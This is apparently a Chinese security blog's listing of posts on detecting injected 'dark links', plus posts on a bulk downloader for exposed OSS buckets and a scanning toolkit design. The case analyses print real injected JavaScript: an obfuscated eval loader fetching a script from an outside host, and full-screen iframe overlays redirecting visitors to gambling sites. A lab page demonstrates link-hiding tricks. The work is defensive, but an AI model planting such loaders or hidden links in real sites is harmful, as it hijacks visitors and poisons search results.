找到
6
篇与
我的开发
相关的结果
-
暗链检测下-工具构思与开发 特点总结 从上一篇的文章中,粗略的可以看出攻击者为了截获流量一般都会通过修改网页head部分内容、主动请求外部或内部恶意脚本两种方式。 其中主动请求外部或内部恶意的脚本中一般会存在设备判断、访问量统计、创建窗口、具体恶意行为的相关代码。并且为了增加被发现的难度通常会使用加密或编码的方式。 工具逻辑构思 梳理完特性就会发现这些信息都可以在前端中找到,基于这个特性完全可以通过爬虫程序来完成。 工具的大致工作逻辑:首先爬虫工具模拟浏览器访问目标,爬取目标网站中所有链接,并保存每条链接返回的报文。接着使用识别工具分别对链接和报文内容进行匹配,最终来判断目标是否被攻击。 工具组件 爬虫方面可以通过katana工具完成相关任务,工具相关参数可以查看这篇文章:Katana参数说明表 在爬取目标网站时需要考虑一下情况:爬取深度、是否能爬取外链、css和js中的链接爬取、特殊地方的链接例如表单、并发数、速率、跟随跳转、随机头、超时时间、等待时间、重试次数等,需要使用到的参数基本如下: 参数别名类型说明-u-liststring[]目标URL或列表-d-depthint最大爬取深度(默认1)-do-display-out-scope-显示爬取来自范围的外部外链(深度为1时外链无报文,和-ns二选一)-ns-no-scope-允许爬取来自范围的外链(获取外链报文,使用这个递归深度最好1,禁止大于2)-jc-js-crawl-启用JavaScript文件中的端点解析/爬取-jsl-jsluice-启用JavaScript文件中的jsluice解析(占内存非常大)-fx-form-extraction-在jsonl输出中提取表单、输入框、文本域和选择元素-c-concurrencyint并发抓取器数量(默认10)-p-parallelismint并发处理的输入数量(默认10)-H-headersstring[]所有HTTP请求中包含的自定义头/cookie,格式为header:value(文件)-timeout-int请求超时时间(默认5秒)-time-stable-int等待页面稳定的时间(默认3秒)-retry-int请求重试次数(默认3)-silent--仅显示输出-j-jsonl-以jsonl格式写入输出-eof-exclude-output-fieldsstring[]从jsonl输出中排除字段-o-outputstring写入输出的文件需要提醒的是使用-ns时递归深度最好是1,绝对不能超过2。 举例递归深度为2,使用-ns。现在爬取https://www.tntsec.com,在深度1时爬到网站中友链https://baidu.com,工具会自动重置递归次数恢复到1接着爬https://baidu.com,又在https://baidu.com中爬到https://souhu.com工具会再次恢复到1接着爬直到终结,所以使用-ns时递归深度最好是1。 读取1.txt获取目标,递归深度为1,允许爬取来自范围的外部链接,开启深度读取js中的链接,开启提取来自特殊地方的链接,并发数为10,速率为10,开启随机头,超时时间为5秒,等待页面稳定为3秒,重试次数为3次,显示输出,以jsonl格式保存,从jsonl输出中排除特定字段,写入输出的文件。 katana.exe -u 1.txt -d 1 -ns -jc -jsl -fx -c 10 -p 10 -H headers.txt -timeout 5 -time-stable 3 -retry 3 -silent -j -eof tag,attribute,headers,body -o 1.json爬取百度,递归深度为1,允许爬取来自范围的外部链接,开启深度读取js中的链接,开启提取来自特殊地方的链接,并发数为10,速率为10,开启随机头,超时时间为5秒,等待页面稳定为3秒,重试次数为3次,显示输出,以txt格式保存结果(无报文、有外部链接) katana.exe -u https://baidu.com -d 1 -ns -jc -jsl -fx -c 10 -p 10 -H headers.txt -timeout 5 -time-stable 3 -retry 3 -silent -o 1.txt读取1.txt获取目标,递归深度为1,只爬取来自范围的链接,开启深度读取js中的链接,开启提取来自特殊地方的链接,并发数为10,速率为10,开启随机头,超时时间为5秒,等待页面稳定为3秒,重试次数为3次,显示输出,以jsonl格式保存,从jsonl输出中排除特定字段,写入输出的文件。 katana.exe -u 1.txt -d 1 -do -jc -jsl -fx -c 10 -p 10 -H headers.txt -timeout 5 -time-stable 3 -retry 3 -silent -j -eof tag,attribute,headers,body -o 1.json爬取百度,递归深度为1,只爬取来自范围的链接,开启深度读取js中的链接,开启提取来自特殊地方的链接,并发数为10,速率为10,开启随机头,超时时间为5秒,等待页面稳定为3秒,重试次数为3次,显示输出,以txt格式保存结果(无报文、无外部链接) katana.exe -u https://baidu.com -d 1 -do -jc -jsl -fx -c 10 -p 10 -H headers.txt -timeout 5 -time-stable 3 -retry 3 -silent -o 1.txt信息提取并判断 在上一步中通过爬虫获取到链接和报文。为了提高处理速度可以通过匹配三中内容来判断是否被攻击:网页报文关键字匹配、爬取的链接、页面中是否存在编码内容。 网页报文关键字匹配:需要违规关键字作为支撑,为了提高准确度设置脚本最少要匹配到两个关键字才能判定为被攻击。 爬取的链接匹配:需要违规网站作为支撑,通过匹配违规链接可以最大节省资源,提高处理效率。 编码内容匹配:在上一篇的文章中有案例是使用编码的方式达到藏匿的效果,这里就可以通过判断报文中是否存在被编码的内容来判断是否被攻击。这个匹配方法准确率非常低。(为什么不把编码内容进行解码呢?有极个别案例会使用多层编码技术,每种案例的编码规则还不一样,脚本处理起来会非常麻烦。所以直接判断页面中是否存在编码内容,宁可错杀一百,也不能放过一个。) 综上所述就可以得到七种匹配方式: 序号站点关键词编码1无有无2无有有3有无无4有无有5有有无6有有有7无无有报告输出 以1匹配方式讲解一下处理逻辑。脚本先查看报文中的地址链接与违规网站链接进行匹配。如果没有匹配到,接着查看报文中的内容与违规关键字匹配,匹配到则输出关键字,然后段落内容输出到段落内容中。接着再查看报文中是否有编码内容,没有则结束。 目标地址:目标链接 问题地址:出现问题的链接 触发关键字:给出匹配到的关键字 段落内容:给出段落完整内容 发现时间:发现问题的时间操作样例 首先通过katana工具爬取链接及获取报文 在通过内容匹配,找到问题 最后查看具体报告内容 -
暗链检测中-案例分析与思考 案例1 目标:http://suvcars2015.com/ 访问目标后会自动跳转到违规网站 使用开发者工具的网络功能看一下网站都做了什么。css看了下没有问题,都是正常内容。js中是看到了两个可疑文件,链接分别为 https://happywealth10.com/js/25/10/d/f2.js https://hyppgood.com/js/f2.js 全局搜索了一下这两个地址,只有第一条链接能够搜到。可以看到这个请求是写在首页里面的,查看一下这个js内容是什么样。 一眼就看到Unicode编码 解码后的到第二条js的地址,原来链接是出自这里啊 再访问一手js,看看里面的内容。还有被编码的内容,解码后再次访问 终于到头了,到这里就搞清楚逻辑了。访问目标站跳出来的界面是来自这个站点:https://hyppgood.com/go/f2/ky.html,分析下js都干了些啥 分析第一个js:https://happywealth10.com/js/25/10/d/f2.js。 这段代码中主要分为两个功能:行为代码、统计代码。 从第6行开始都是统计代码,用了两个服务商:百度统计、51LA统计,这里就不细说了,直接过。 这段主要是把script、document、javascript前端核心关键字拆分,避免被安全检测工具识别到。 var l_a_n_g_age = 'javascript';// 脚本语言:javascript var sen_type = 'cript';// 拆分script标签:拼接后为script,规避关键字检测 var c_d1 = "document";// 抽离document对象名,配合后续拼接执行标签还原:<s' + sen_type + '>拼接为<script>,</s' + sen_type + '>拼接为</script>,完整还原脚本标签 属性还原:language/type通过变量拼接为javascript 解码结果:https://hyppgood.com/js/f2.js var c_d2 = 'writeln("<s' + sen_type + ' language=\'' + l_a_n_g_age + '\' type=\'text/' + l_a_n_g_age + '\' src=\'\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u0079\u0070\u0070\u0067\u006f\u006f\u0064\u002e\u0063\u006f\u006d\u002f\u006a\u0073\u002f\u0066\u0032\u002e\u006a\u0073\'></s' + sen_type + '>")';最后由eval拼接并执行混淆后的代码 拼接结果:document.writeln("<script language='javascript' type='text/javascript' src='https://hyppgood.com/js/f2.js'></script>") eval(c_d1 + "." + c_d2);分析第二个js:https://hyppgood.com/js/f2.js 用来判断是否为移动设备的,在脚本里面没有实际运用起来,过。 function isMobile() { if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) return true; else return false; }解码结果:https://hyppgood.com/go/f2/ky.html var url="\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0068\u0079\u0070\u0070\u0067\u006f\u006f\u0064\u002e\u0063\u006f\u006d\u002f\u0067\u006f\u002f\u0066\u0032\u002f\u006b\u0079\u002e\u0068\u0074\u006d\u006c";用来检测ios版本的,在脚本里面没有实际运用起来,过。 function getIosVersion() { var str = navigator.userAgent.toLowerCase(); var ver = str.match(/cpu iphone os (.*?) like mac os/); return ver ? parseInt(ver[1].slice(0,2)) :false }用来检测ios的User-Agent,在脚本里面没有实际运用起来,过。 var u = navigator.userAgent; var isIOS = !!u.match(/\(i[^;]+;( U;)? CPU.+Mac OS X/);用来生成随机数的,在脚本里面没有实际运用起来,过。 function randomNum(minNum,maxNum){ switch(arguments.length){ case 1: return parseInt(Math.random()*minNum+1,10); break; case 2: return parseInt(Math.random()*(maxNum-minNum+1)+minNum,10); break; default: return 0; break; } }最后这段就是生成一个占据全屏的窗口,隐藏滚动条,不允许用户缩放画面,最后把恶意网站的界面显示出来 document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />'); document.write('<style>html,body{widht:100%;height:100%;overflow:hidden; clear:both;}</style>'); document.write('<div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;background:#fff">'); document.write('<iframe src=" '+url+'" frameborder="0" style="border:0;width: 100%; text-align: center; border: medium none; height:100%;max-height: 4000px;"></iframe>'); document.write('</div>');案例2 目标:http://www.shksywl.com/ 访问目标后会自动跳转到违规网站 在开发者模式里可以明显看到一个不正常的js。知道js的名字直接全局搜索,但是没有找到。 在网站首页翻了一下才找到代码段,原来是被编码我说怎么搜索不到呢。解码后是/seo.js 访问看一手,看看代码是什么逻辑。同样分为行为代码和统计代码,统计代码就不说了。 行为代码原本被加密了,但是他给了加密平台。访问后发现支持解密,下面就是解密后代码。 恶意行为核心代码,没啥好说的还是远程加载js var __Ox1185a4 = ["<script language = "javascript"type = "text/javascript"src = "https://www.uapp360.com/zn/seo.js"charset = "utf-8" > </script>", "writeln", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"]; document.writeln(coreConfig[0]);分析远程加载的js:创建占据占个屏幕的窗口,隐藏滚动条、清除默认边距内边距,让页面无法滚动、无空白区域。 document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');用来检测关键字的,这个站点的tilte被改成了:365best体育亚洲官网入口(中国)股份公司-Maigoo百科。下面的代码对title检测关键字,检测到符合的就显示对应的链接,虽然他们的链接都一样。最下面的代码同样创建一个占据整个屏幕的窗口用来显示匹配到的链接。 function checktitle() { var fit = 1; var sou; var title = document.title; if (title.indexOf("金沙") != -1 || title.indexOf("js") != -1 || title.indexOf("金莎") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("葡") != -1 || title.indexOf("亰") != -1 || title.indexOf("京") != -1 || title.indexOf("匍") != -1 || title.indexOf("蒲") != -1 || title.indexOf("浦") != -1 || title.indexOf("pj") != -1 || title.indexOf("普") != -1 || title.indexOf("莆") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("银河") != -1 || title.indexOf("yh") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("永利") != -1 || title.indexOf("yl") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("blr") != -1 || title.indexOf("巴黎") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("太阳") != -1 || title.indexOf("tyc") != -1 || title.indexOf("太陽") != -1 || title.indexOf("大阳") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("威尼") != -1 || title.indexOf("威斯") != -1 || title.indexOf("尼斯") != -1 || title.indexOf("斯尼") != -1 || title.indexOf("vns") != -1 || title.indexOf("wns") != -1 || title.indexOf("威力") != -1 || title.indexOf("威利") != -1 || title.indexOf("尼维") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("bet36") != -1 || title.indexOf("356") != -1 || title.indexOf("365") != -1 || title.indexOf("bte") != -1 || title.indexOf("bet360") != -1 || title.indexOf("bet356") != -1 || title.indexOf("日博") != -1 || title.indexOf("mob") != -1 || title.indexOf("best") != -1 || title.indexOf("beat") != -1 || title.indexOf("世界杯") != -1 || title.indexOf("奥运会") != -1 || title.indexOf("欧洲杯") != -1 || title.indexOf("bt365") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("betway") != -1 || title.indexOf("必威") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("云顶") != -1 || title.indexOf("雲顶") != -1 || title.indexOf("yd") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("公海") != -1 || title.indexOf("gh") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("万博") != -1 || title.indexOf("狗万") != -1 || title.indexOf("manbet") != -1 || title.indexOf("max") != -1 || title.indexOf("man") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("yabo") != -1 || title.indexOf("亚博") != -1 || title.indexOf("亚搏") != -1 || title.indexOf("亚慱") != -1 || title.indexOf("雅博") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("bwin") != -1 || title.indexOf("必赢") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else if (title.indexOf("dafa") != -1 || title.indexOf("大发") != -1) { sou = "https://www.jsjkeji.com/zhuye/index.html"; } else { sou = 'https://www.jsjkeji.com/zhuye/index.html'; } var iframe = document.createElement('iframe'); iframe.src = sou; iframe.style.position = "absolute"; iframe.style.width = '100%'; iframe.style.height = "100%"; iframe.style.top = "0px"; iframe.style.left = "0px"; iframe.style.bottom = "0px"; iframe.style.zIndex = "9999999999999"; iframe.style.border = 'none'; iframe.style.background = "#000"; document.body.insertBefore(iframe, document.body.firstChild); document.body.style.overflow = "hidden"; }兼容浏览器,最后执行行为 function ready(fn){ if(document.addEventListener){ //标准浏览器 document.addEventListener('DOMContentLoaded',function(){ //注销时间,避免重复触发 document.removeEventListener('DOMContentLoaded',arguments.callee,false); fn(); //运行函数 },false); }else if(document.attachEvent){ //IE浏览器 document.attachEvent('onreadystatechange',function(){ if(document.readyState=='complete'){ document.detachEvent('onreadystatechange',arguments.callee); fn(); //函数运行 } }); } } /*window.onload=function(){ checktitle(); } */ ready(function(){checktitle();});案例3 目标:http://www.jxn-et.com/ 访问目标后页面虽然是正常的 但是在百度收录记录中,第一条的收录信息是违规信息 上篇文章提到搜索引擎是靠title、description、keywords三个标签的内容来显示收录信息的。这个站点所有界面的head部分内容全部被恶意修改了。 像这种类型的一般都是由恶意脚本进行修改的,本站的内容被红框中的脚本控制了title、description、keywords三个标签的内容 目标:http://www.cmylh.cn/ 访问目标后会强制跳转到:http://cmylh.cn/about/index3.html 网页的title全部被修改,百度收录记录全都被污染 思考 攻击者为了规避检测,通常都会多重技术手段叠加使用,大大增加了恢复难度。 -
暗链检测上-SEO介绍与靶场模拟 SEO介绍 SEO翻译过来就是搜索引擎优化。简单来说,就是通过优化网站内容,适配搜索引擎的规则。使网站或内容在搜索引擎的搜索结果中排名靠前,从而获取精准流量,实现曝光、引流、转化的目的。 很多公司的官网为了能够让搜索结果排名靠前,在同行业中拥有更多的曝光机会,都会非常注重这方面的技术。有的还会花重金找专业团队对网站和内容进行优化。 举个例子,以360和奇安信的百度权重为例。360和奇安信的分类标签都为科技数码,但是360比奇安信的百度pc权重要高。所以当用户使用百度搜索引擎浏览科技数码类的内容时360的内容会比奇安信的内容排名更加靠前。 可以通过这条命令查询百度收录奇安信的所有内容 搜索引擎有个特点:重复内容不会多次收录与展示。所以每个页面必须独立编写,为了有更多的展示建议所有页面不要使用一样的标签。 基于这个特性很多CMS在这方面会下足功夫,例如:织梦、emlog,他们在产品官网介绍页中都会单独标注出支持SEO优化这个亮点。 SEO运用 以下拿奇安信官网为例,分别讲解title、description、keywords三个标签在SEO中运用 标题标签title 特点:一般网站的官网都会写公司的全称,子页面的内容会动态调整 写法:核心关键词+次要关键词+品牌词 首页与其他页面中的title对比 描述标签description 特点:这部分写主体的介绍信息,比如介绍公司的主营内容等,子页面的内容会动态调整 写法:包含页面核心关键词,用通顺的语言介绍页面内容,加入吸引用户点击的点例如:免费、干货、零基础学会,本质就是广告文案 首页与其他页面中的description对比 标题标签keywords 特点:这部分写关于本行业或者关联的标签,子页面的内容会动态调整 写法:标签要精准,搜索引擎会通过用户搜索的内容推送有关联的标签内容 首页与其他页面中的keywords对比 暗链 网站中的链接大致可以分为两种:明链、暗链。明链指的是自身链接、友链等,用户在访问时可以在网站中直观的点击这些链接。暗链则相反,这是黑客攻击网站后留下的链接。这类链接带有明显的恶意行为,且极为隐蔽难以被查找到。当用户访问网站后链接就会自动执行预先设置好的恶意指令。 黑客植入暗链的目的是什么?前面提到,有的网站SEO做得非常好,网站或内容在搜索结果中排名非常靠前,点击和访问的流量自然也就非常多。而暗链会把这些正常的流量导向恶意地址,牟取非法盈利,或者强制用户下载木马导致计算机沦为肉鸡。 隐藏方式 实现方式核心原理隐蔽特点JavaScript植入通过JS脚本动态生成并插入链接,可按需加载或混淆代码,非静态存在于页面中直接查看静态源码可能无链接痕迹,需执行JS后才会出现,人工检测难度高CSS样式隐藏通过CSS属性直接控制链接视觉不可见,浏览器渲染但用户无视觉感知,搜索引擎爬虫可正常读取链接标签用户浏览时完全不可见,仅查看网页源代码可发现链接存在注释伪装将链接插入HTML注释中,或通过字符编码、字符串拆分等方式混淆链接代码易被人工排查忽略,部分爬虫可解析注释内及混淆后的有效链接UA判断服务器端识别访问者的User-Agent,仅对搜索引擎爬虫返回链接,对普通浏览器用户隐藏普通用户查看源码无此链接,仅爬虫抓取时能获取,隐蔽性极高靶场 HTML <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>暗链靶场</title> <meta name="keywords" content="暗链,靶场,暗链靶场"> <meta name="description" content="用于测试暗链的靶场"> <meta name="author" content="TNT安全团队"> <link rel="stylesheet" href="css/css.css"> </head> <body> <h1>标题</h1> <p>内容</p> <!-- CSS样式隐藏 --> <!-- CSS案例1 --> <a href="https://www.tntsec.com" class="test1">CSS样式隐藏</a> <a href="https://www.tntsec.com" class="test2">透明链接隐藏</a> <a href="https://www.tntsec.com" style="display: none;">内联样式隐藏</a> <!-- CSS案例2 --> <div class="test3"> <a href="https://www.tntsec.com">宽高为0的容器隐藏</a> </div> <div class="test4"> <a href="https://www.tntsec.com">1x1像素隐藏</a> </div> <div style="width: 0; height: 0; overflow: hidden;"> <a href="https://www.tntsec.com">内联样式容器隐藏</a> </div> <!-- CSS案例3 --> <a href="https://www.tntsec.com" class="test5">绝对定位移出左侧隐藏</a> <a href="https://www.tntsec.com" class="test6">固定定位移出屏幕隐藏</a> <a href="https://www.tntsec.com" style="position: absolute; left: -9999px; top: -9999px;">内联样式移出屏幕隐藏</a> <!-- JavaScript植入 --> <!-- JavaScript案例1 --> <script src="js/js.js">本地引入</script> <script src="https://www.tntsec.com/js.js">外部引入</script> <!-- JavaScript案例2 --> <div style="display:none;"> <a href="https://www.tntsec.com">实体编码隐藏</a> </div> <!-- JavaScript案例3 --> <script> var parts = [ '<a h', 'ref="https:', '//www.tnt', 'sec.com"', '>拆分拼接隐藏<', '/a>' ]; document.write(parts.join('')); </script> <!-- JavaScript案例4 --> <script> function generateLink() { var domain = "www" + "." + "tntsec" + "." + "com"; var path = ["/", "forex"].join(''); return '<a href="https://' + domain + path + '">函数混淆隐藏</a>'; } document.write(generateLink()); </script> <!-- 注释/混淆伪装 --> <!-- <a href="https://www.tntsec.com">注释隐藏</a> --> </body> </html> CSS body { margin: 0; padding: 20px; text-align: center; font-family: "Microsoft YaHei", sans-serif; position: relative; min-height: 100vh; } .test1 { display: none; } .test2 { opacity: 0; visibility: hidden; position: absolute; top: 0; left: 0; } .test3 { width: 0; height: 0; overflow: hidden; position: absolute; top: 0; left: 0; } .test4 { width: 1px; height: 1px; overflow: hidden; position: absolute; top: 0; left: 0; opacity: 0.001; } .test5 { position: absolute; left: -9999px; top: 50px; width: 200px; height: 40px; padding: 10px; z-index: 1000; } .test6 { position: fixed; left: -5000px; top: -5000px; width: 300px; height: 50px; padding: 15px; display: block; } {/tabs-pane} JS alert("js效果"); JavaScript植入 JavaScript案例1 js引用分为两种:本地引用、外部引用。都比较好理解,这个没啥好说的。 当用户访问站点后会自动加载js JavaScript案例2 字符编码隐藏:浏览器可以自动对部分编码进行解码例如:URL编码、字符实体编码、Base64编码。这个案例使用的是字符实体编码,在网页中是自动解码结果 在源码中则是原始编码内容 JavaScript案例3 拆分拼接隐藏:通过将完整<a>标签拆分为字符串数组,再通过join('')拼接、document.write()动态写入页面,实现代码层面混淆。 <script> var parts = [ '<a h', 'ref="https:', '//www.tnt', 'sec.com"', '>拆分拼接隐藏<', '/a>' ]; document.write(parts.join('')); </script> JavaScript案例4 函数混淆隐藏:把域名拆分为片段,通过join('')拼接还原为完整<a>标签字符串并返回,再通过document.write()执行函数并将结果写入DOM,浏览器解析后生成正常链接。 <script> function generateLink() { var domain = "www" + "." + "tntsec" + "." + "com"; var path = ["/", "forex"].join(''); return '<a href="https://' + domain + path + '">函数混淆隐藏</a>'; } document.write(generateLink()); </script> CSS样式隐藏 CSS案例1 访问后页面中只有标题和内容,并没有显示红框中的内容 这是通过css把内容隐藏了,删除控制它们的类名或者修改css就可以在页面中显示内容 CSS样式隐藏:被test1类名控制。设置元素不会占据任何页面布局空间,浏览器会将该元素从渲染流中移除,视觉上和布局上都不存在。 display: none; 透明链接隐藏:被test2类名控制。 opacity: 0; 视觉完全透明, visibility: hidden; 隐藏元素加屏蔽交互, position: absolute; 脱离正常渲染流,配合 top: 0; left: 0; 把元素定位到页面左上角 内联样式隐藏:和CSS样式隐藏逻辑一样只不过是直接写在标签里面了 CSS案例2 访问后页面中只有标题和内容,并没有显示红框内的内容 同样删除控制它们的类名或者修改css就可以在页面中显示内容 宽高为0的容器隐藏:被test3类名控制。 width: 0; 0尺寸,将容器的宽缩至最小 height: 0; 0尺寸,将容器的高缩至最小 overflow: hidden; 强制隐藏容器内所有超出0尺寸的内容 position: absolute; 让容器脱离正常文档流 top: 0; 定位坐标 left: 0; 定位坐标 1x1像素隐藏:被test4类名控制。 width: 1px; 将元素缩至最小可视单位 height: 1px; 将元素缩至最小可视单位 overflow: hidden; 截断容器内所有超出1px的内容 position: absolute; 让元素脱离正常文档流 top: 0; 定位坐标 left: 0; 定位坐标 opacity: 0.001; 将元素视觉透明度降至近乎完全透明 内联样式容器隐藏:和上面两个隐藏逻辑一样只不过是直接写在标签里面了。 width: 0; 0尺寸,将容器的宽缩至最小 height: 0; 0尺寸,将容器的高缩至最小 overflow: hidden; 截断容器内所有超出1px的内容 CSS案例3 访问后页面中只有标题和内容,并没有显示红框内的内容 这是通过css把内容隐藏了,删除控制它们的类名或者修改css就可以在页面中显示内容 绝对定位移出左侧隐藏:被test5类名控制。 position: absolute; 让元素脱离正常文档流,由定位属性控制位置 left: -9999px; 左侧超大负偏移 top: 50px; 顶部50px定位 width: 200px; 固定宽 height: 40px; 固定高 padding: 10px; 内边距 z-index: 1000; 层级1000 固定定位移出屏幕隐藏:被test6类名控制。 position: fixed; 元素相对于浏览器视口定位,脱离所有文档流 left: -5000px; 左侧超大负偏移 top: -5000px; 顶部超大负偏移 width: 300px; 固定宽 height: 50px; 固定高 padding: 15px; 内边距 display: block; 块级显示 内联样式移出屏幕隐藏:和上面两个隐藏逻辑一样只不过是直接写在标签里面了。 position: absolute; 让元素脱离正常文档流,由定位属性控制位置 left: -9999px; 左侧超大负偏移 top: -9999px; 顶部-9999px定位 注释伪装 注释隐藏:在代码中插入注释行。 UA判断 这种运用场景最多的就是判断当前访问网站用什么设备,如果符合预期则继续执行下一步。比如脚本设置访问设备是电脑时则自动执行脚本,不是则不执行。 靶场案例总结 这三种方法中在单独使用的情境下,同时能够造成危害最大、实用性最好、出现频率最高的依次顺序为:JavaScript植入 > CSS样式隐藏 > UA判断 > 注释伪装 JavaScript植入方式能够同时实现隐蔽、自动执行、交互等要求,所以在实际场景中使用这种方式是最多的。而CSS样式隐藏方式虽然同样能够实现隐蔽效果,但是他不能够自动执行这个要求。 UA判断和注释伪装方式是极少出现的。从攻击者角度思考,为了提高访问量肯定是全都要,一个都不放过。所以根本不需要来源判断和等着用户主动复制注释中留下的目标地址。 虽然他们在单独使用的情况下,造成的威胁程度各有不同。但是当他们组合在一起使用所造成的危害是十分巨大的!这种情况会在下一篇文章中展示相关案例。 -
OSS存储桶文件大批量下载 事件缘由 护网时会遇到桶存储修复漏洞,当目标文件数量巨大时下载就成了头疼的事。本工具可以批量下载目标文件。 这里推荐sourcexu7师傅的OSX工具,使用这个工具获取到文件地址,然后再使用本工具下载文件。 注意 下载的文件默认会保存在与脚本同级目录下的file文件夹中。任务期间如果有下载失败的,文件链接会实时写入同级目录下的error.txt文件中。 使用方法 -h 帮助 -u 单个下载链接 -f 包含下载链接的文件 -c 下载并发数(默认20) -t 单个链接下载超时时间(默认30秒) -r 下载失败后的重试次数(默认3次) -b 每批处理的链接数量(默认500) -o 文件保存路径(默认file文件夹) 资源获取 {card-default label="资源获取:文件大批量下载" width="100%"} 若链接错误或失效,请在下方留言告知! 隐藏内容,请前往内页查看详情 {/card-default} -
单兵作战系统的设计与开发 工具总体运行逻辑 整个工具使用ijson库来处理超大文件。经过实测52.7MB的report.json文件,存有21951个漏洞。能在2秒内生成108MB的report.html漏洞报告。 工具集合了ip补全、ip测活、端口测试、协议识别、指纹识别、漏洞扫描、生成报告功能。各功能之间紧密相连可实现梭哈效果。 报告效果展示 点击全部分类效果 漏洞详情效果 目录功能效果 ip补全功能 工具想法 资产表中经常会出现ip和ip段类型的资产。单个ip类型的资产还好说,但是有的ip段的ip数量会非常多。假设是1.1.1.1/24,补全后一共有254个ip。如果是1.1.1.1/16,补全后直接飙升到65534个ip。 最常见的是24,16的情况非常少,但是你不能说他没有。就拿我来说在最近的一次技术支撑中,甲方就扔了一个16的…… 虽然目前很多工具都支持扫描ip段,但是你不得不承认的是它只能扫描小范围的。当目标范围非常大情况下,工具就会出现丢数据或跑着跑着设备卡死的情况。 所以综上所述,我的建议最好是先补全ip,然后再进行测试。 工具主要功能及运作逻辑 假设资产表中存在ip和ip段两种类型。工具首先对资产类型进行识别。如果是ip类型则直接原样写入到ip.txt文件中,如果是ip段类型则进行补全操作,并把结果写入到ip.txt文件中。 从用户角度考虑、提升用户体验、加快工作效率 工具支持单个ip段和从文件中批量获取ip段。 实时显示处理进度。 要支持能够自定义结果保存路径和文件名称。 最终结果文本是实时写入方式。当资产特别多时消耗时间一定会非常长。工具在补全时,工作人员可以实时获取到结果,并优先测试已获得的资产减少时间浪费。 二次保存,结果文本名称相同时则覆盖原有文件,防止新老数据混淆。 ip测活 工具想法 补全ip段后,ip的资产数量一下子就成倍增加。如果直接拿着这些资产去跑全端口,耗时是非常长的。所以为了减少工作量可以先测活,只保留存活的资产,然后再进行接下来步骤。 工具主要功能及运作逻辑 测活的过程中有可能会出现两种情况:第一种对方允许ping、第二种对方禁止ping。在测活时首先通过ping的方式。如果通则判定为活,不通则更换成tcp方式,如果通则判定为活,不通则判定为死。并把结果写入到liveip.txt文件中。 从用户角度考虑、提升用户体验、加快工作效率 工具支持单个ip段和从文件中批量获取ip。 实时显示处理进度。 支持能够自定义线程数、超时时间、端口号、结果保存路径和文件名称。 支持自定义设置输出路径和名称 最终结果文本是实时写入方式。当资产特别多时测试时间一定会非常长。工具在测试时,工作人员可以实时获取到结果,并优先测试活的资产减少时间浪费。 二次保存,结果文本名称相同时则覆盖原有文件,防止新老数据混淆。 端口测试 工具想法 ip的可用端口范围是1-65535。在测试了市面上多款流行工具后,综合考量下决定使用masscan工具来作为本功能的测试工具。这个工具无论测试速度、信息准确度、系统兼容性都完美契合。 本工具分为两个版本:windows和linux。win版本针对的是个人电脑,个人电脑的处理器和内存性能普遍都比较高,所以win版本的工具可以把masscan的扫描速率设置到5000-10000之间(按照实际情况自行设置)。而linux版本是按照2核2G的标准进行设计,经过测试扫描速率设置为1000时可以确保信息的准确性与系统稳定性。 工具主要功能及运作逻辑 在ip测活步骤中,最终保存结果的文本名为liveip.txt。设计脚本使工具读取liveip.txt或自己上传存活的资产。让工具对所有存活的ip进行全端口扫描。 这个工具只能测试完所有ip才会生成结果文档。设计脚本让工具自动保存原始扫描结果,并重命名为port1.txt。由于原始扫描结果不符合实际需求,再设计脚本使原始扫描结果内容格式化后另存为port2.txt。 从用户角度考虑、提升用户体验、加快工作效率 工具支持单个目标和从文件中批量获取目标。 支持自定义扫描端口、扫描速率、结果保存路径和文件名称。 格式化扫描结果并另存为port2.txt,提高可读性。 协议识别 工具想法 端口协议识别使用的工具是nmap。不得不承认nmap的识别结果是非常准确的,唯一的的缺点就是速度太慢。目前还没有发现能够平替的它的工具。 工具主要功能及运作逻辑 在端口测活的步骤中,保存原始扫描结果的port1.txt在这里派上用场。设计脚本使nmap读取port1.txt文件获取存活的ip及它开放的端口,让nmap识别端口使用的协议。原始扫描结果另存为protocol1.txt,再设计脚本使原始扫描结果内容格式化后另存为protocol2.txt。 从用户角度考虑、提升用户体验、加快工作效率 工具支持单个目标和从文件中批量获取目标。 支持自定义扫描端口、扫描速率、结果保存路径和文件名称。 格式化扫描结果并另存为protocol2.txt,提高可读性。 指纹识别 工具想法 指纹识别使用的工具是httpx。同样在测试了市面上多款流行工具后,综合考量下决定使用httpx工具来作为本功能的测试工具。 工具主要功能及运作逻辑 在协议识别步骤中,内容格式化后的protocol2.txt派上用场。设计脚本使httpx读取protocol2.txt中使用http和https的目标,访问目标并进行指纹识别。原始扫描结果另存为fingerprint.txt。 